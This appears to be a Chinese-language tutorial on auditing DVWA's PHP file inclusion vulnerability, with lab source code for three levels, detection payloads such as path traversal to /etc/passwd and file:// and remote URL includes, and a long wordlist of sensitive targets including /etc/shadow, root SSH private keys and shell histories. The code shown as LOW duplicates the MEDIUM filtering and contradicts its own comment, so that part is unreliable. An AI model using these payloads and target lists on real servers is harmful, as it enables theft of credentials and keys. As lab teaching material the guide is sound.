PHP代码审计DVWA-文件包含信息获取方法

文件包含File Inclusion

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概念

什么时候文件包含

那么文件包含呢简单来说就是

你的大哥，你有六个小弟，

那么大哥就有这六个小弟的呼叫方式，

当他要那个小弟的帮助就直接呼叫那个小弟那个小弟就会过滤帮助他了

那么用专业的话来说就是，

有ABCD四个文件

那么A文件里面设置了文件包含的函数

那么当A文件需要B文件的时候，就包含B文件就可以了，当A文件需要C文件就包含C文件就可以了，

可以怎么去简单理解

那么程序员为什么会用到文件包含呢

首先就是一个方便，当A文件需要B文件的时候就直接通过文件包含，包含B文件就可以，直接把B文件调用过来，这样就不用去编写代码了

本地包含/远程包含

那么文件包含有两种

一种是本地文件包含

一种是远程文件包含

但是大多是本地文件包含

对于严重程度来是，虽然两个都是文件包含漏洞，但是呢，远程文件包含漏洞要更严重些

文件包含漏洞用到的函数

require:找不到被包含的文件，报错，并且停止运行脚本。

include:找不到被包含的文件,只会报错，但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

说完了这个概念我们结合实际来巩固下

文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

LOW-Middle-High

代码审计LOW

 <?php

// The page we wish to display
     //如果我要打开那个文件名称叫111.php
     //那么111.php就会传输到page这个位置来
$file = $_GET[ 'page' ];
//low级别的代码对包含的文件没有进行任何的过滤！这导致我们可以进行包含任意的文件。

// Input validation
//array()	创建数组。
//str_replace () 函数以其他字符替换字符串中的一些字符（区分大小写）。
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

代码审计Middle

 <?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

代码审计High

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
//high级别的代码对包含的文件名进行了限制，必须为 file* 或者 include.php ，否则会提示Error：File not  found。
//我们可以利用 file 协议进行绕过。
//三杠的
//file:///D:\phpStudy\PHPTutorial\WWW\DVWA1\vulnerabilities\fi\test.txt[就是一个具体路径]
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

我先结果实际看看

随便点个文件

我们可以看到这个和我们点的文件名称是一样的

那么是不是我们只要改一下这个文件名称就能达到这个文件包含的漏洞效果呢

其实呢可以是可以怎么说

但是你要去搞清楚他里面的文件路径文件名称这样才能更好的达到想要的效果

如果说都不知道他里面有哪些文件的话，就比较麻烦了，首先可以通过报错来看他里面有哪些具体路径，报错的话就是包含一个他不存在的文件就可以了，如果是连报错都好了

不爆具体的路径

那么我们可以通过上面的一些检验手段来获取信息

/etc/passwd

Linux 系统中的 /etc/passwd 文件，是系统用户配置文件，存储了系统中所有用户的基本信息，并且所有用户都可以对此文件执行读操作。

首先是可以知道他是linux操作系统

那么我们就可以针对linux的路径进行敏感信息的发现，

常见的配置文件名

# apache
httpd.conf

# MySQL
my.ini

# 虚拟主机配置
httpd-vhosts.conf

# IIS
metabase.xml
applicationHost.config

# ssh
/etc/ssh/sshd_config

# nginx
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# PHP
php.ini
# weblogic 读密码
./security/SerializedSystemIni.dat
./config/config.xml

Apache

# 配置文件路径
/etc/httpd/conf/httpd.conf

# 默认站点路径
/var/www/html/

# ubuntu 下配置文件
/etc/apache2/apache2.conf

# 访问日志和错误日志
/private/var/log/apache2/error_log
/private/var/log/apache2/access_log

IIS

# 配置文件
web.config

MySQL

# 配置文件
/etc/my.cnf
/etc/mysql/my.cnf 

phpMyAdmin

# 配置文件
config.inc.php

# 默认路径
/var/www/phpmyadmin/config.inc.php

XAMPP 建站

相关路径

# 网站默认路径
xampp\htdocs

# Apache 基本配置
xampp\apache\conf\httpd.conf

# Apache SSL
xampp\apache\conf\ssl.conf

# Apache Perl（仅限插件）
xampp\apache\conf\perl.conf

# Apache Tomcat（仅限插件）
xampp\apache\conf\java.conf

# Apache Python（仅限插件）
xampp\apache\conf\python.conf

# 虚拟主机
xampp/apache/conf/extra/httpd-vhosts.conf

# PHP
xampp\php\php.ini

# 数据库默认路径
xampp\mysql\data

# MySQL
xampp\mysql\bin\my.ini 

# phpMyAdmin
xampp\phpMyAdmin\config.inc.php

# FileZilla FTP 服务器
xampp\FileZilla

# FTP\FileZilla 
Server.xml Mercury 

# 邮件服务器基本配置
xampp\MercuryMail\MERCURY.INI 

# Sendmail
xampp\sendmail\sendmail.ini 

账户信息

/etc/passwd  

账户密码文件

/etc/shadow  

Apache2默认配置文件

/usr/local/app/apache2/conf/httpd.conf 
 

虚拟网站配置

/usr/local/app/apache2/conf/extra/httpd-vhost.conf 

PHP 配置文件

/usr/local/app/php5/lib/php.ini 

Apache 配置文件

/etc/httpd/conf/httpd.conf 

MySQL 配置文件

/etc/my.conf    

DeDeCms

/member/templets/menulit.php
/plus/paycenter/alipay/return_url.php
/plus/paycenter/cbpayment/autoreceive.php
/paycenter/nps/config_pay_nps.php
/plus/task/dede-maketimehtml.php
/plus/task/dede-optimize-table.php
/plus/task/dede-upcache.php

WordPress

/wp-admin/includes/file.php
/wp-content/themes/baiaogu-seo/footer.php

Ecshop

/api/cron.php
/wap/goods.php
/temp/compiled/ur_here.lbi.php
/temp/compiled/pages.lbi.php
/temp/compiled/user_transaction.dwt.php
/temp/compiled/history.lbi.php
/temp/compiled/page_footer.lbi.php
/temp/compiled/goods.dwt.php
/temp/compiled/user_clips.dwt.php
/temp/compiled/goods_article.lbi.php
/temp/compiled/comments_list.lbi.php
/temp/compiled/recommend_promotion.lbi.php
/temp/compiled/search.dwt.php
/temp/compiled/category_tree.lbi.php
/temp/compiled/user_passport.dwt.php
/temp/compiled/promotion_info.lbi.php
/temp/compiled/user_menu.lbi.php
/temp/compiled/message.dwt.php
/temp/compiled/admin/pagefooter.htm.php
/temp/compiled/admin/page.htm.php
/temp/compiled/admin/start.htm.php
/temp/compiled/admin/goods_search.htm.php
/temp/compiled/admin/index.htm.php
/temp/compiled/admin/order_list.htm.php
/temp/compiled/admin/menu.htm.php
/temp/compiled/admin/login.htm.php
/temp/compiled/admin/message.htm.php
/temp/compiled/admin/goods_list.htm.php
/temp/compiled/admin/pageheader.htm.php
/temp/compiled/admin/top.htm.php
/temp/compiled/top10.lbi.php
/temp/compiled/member_info.lbi.php
/temp/compiled/bought_goods.lbi.php
/temp/compiled/goods_related.lbi.php
/temp/compiled/page_header.lbi.php
/temp/compiled/goods_script.html.php
/temp/compiled/index.dwt.php
/temp/compiled/goods_fittings.lbi.php
/temp/compiled/myship.dwt.php
/temp/compiled/brands.lbi.php
/temp/compiled/help.lbi.php
/temp/compiled/goods_gallery.lbi.php
/temp/compiled/comments.lbi.php
/temp/compiled/myship.lbi.php
/includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
/includes/modules/cron/auto_manage.php
/includes/modules/cron/ipdel.php

PHP168

/admin/inc/hack/count.php?job=list
/admin/inc/hack/search.php?job=getcode
/admin/inc/ajax/bencandy.php?job=do
/cache/MysqlTime.txt
/PHPcms2008-sp4

CMSeasy

/lib/mods/celive/menu_top.php
/lib/default/ballot_act.php
/lib/default/special_act.php

敏感目录

/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/apache/php/php.ini
/bin/php.ini
/etc/anacrontab
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/at.allow
/etc/at.deny
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/fstab
/etc/host.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/etc/httpd/htdocs/index.php
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
/etc/ld.so.conf
/etc/motd
/etc/my.cnf
/etc/mysql/my.cnf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/passwd
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/resolv.conf
/etc/shadow
/etc/ssh/sshd_config
/etc/ssh/sshd_config
/etc/ssh/ssh_config
/etc/ssh/ssh_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_key.pub
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_rsa_key.pub
/etc/ssh/ssh_host_rsa_key.pub
/etc/sysconfig/network
/etc/sysconfig/network
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/home/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/NetServer/bin/stable/apache/php.ini
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.html
/opt/www/htdocs/index.php
/opt/xampp/etc/php.ini
/PHP/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/root/.atftp_history
/root/.bashrc
/root/.bash_history
/root/.mysql_history
/root/.nano_history
/root/.php_history
/root/.profile
/root/.ssh/authorized_keys
/root/.ssh/identity
/root/.ssh/identity.pub
/root/.ssh/id_dsa
/root/.ssh/id_dsa.pub
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/anaconda-ks.cfg
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error_logerror_log.old
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/php.ini
/usr/local/httpd/conf/httpd.conf
/usr/local/httpd2.2/htdocs/index.html
/usr/local/httpd2.2/htdocs/index.php
/usr/local/lib/php.ini
/usr/local/mysql/bin/mysql
/usr/local/mysql/my.cnf
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/php5.ini
/usr/local/share/examples/php/php.ini
/usr/local/share/examples/php4/php.ini
/usr/local/tomcat5527/bin/version.sh
/usr/local/Zend/etc/php.ini
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
/var/apache2/config.inc
/var/httpd/conf/httpd.conf
/var/httpd/conf/php.ini
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.html
/var/httpd/htdocs/index.php
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/httpd.conf
/var/local/www/conf/php.ini
/var/log/access.log
/var/log/access_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/error.log
/var/log/error_log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql-slow.log
/var/log/mysql/mysql.log
/var/log/mysqlderror.log
/var/mail/root
/var/mysql.log
/var/spool/cron/crontabs/root
/var/spool/mail/root
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/www/htdocs/index.php
/var/www/index.html
/var/www/index.php
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/web/conf/php.ini
/www/conf/httpd.conf
/www/htdocs/index.html
/www/htdocs/index.php
/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
root/.ssh/authorized_keys
root/.ssh/identity
root/.ssh/identity.pub
root/.ssh/id_dsa
root/.ssh/id_dsa.pub
root/.ssh/id_rsa
root/.ssh/id_rsa.pub

文件包含拿shell参考此大佬

本地文件包含漏洞利用姿势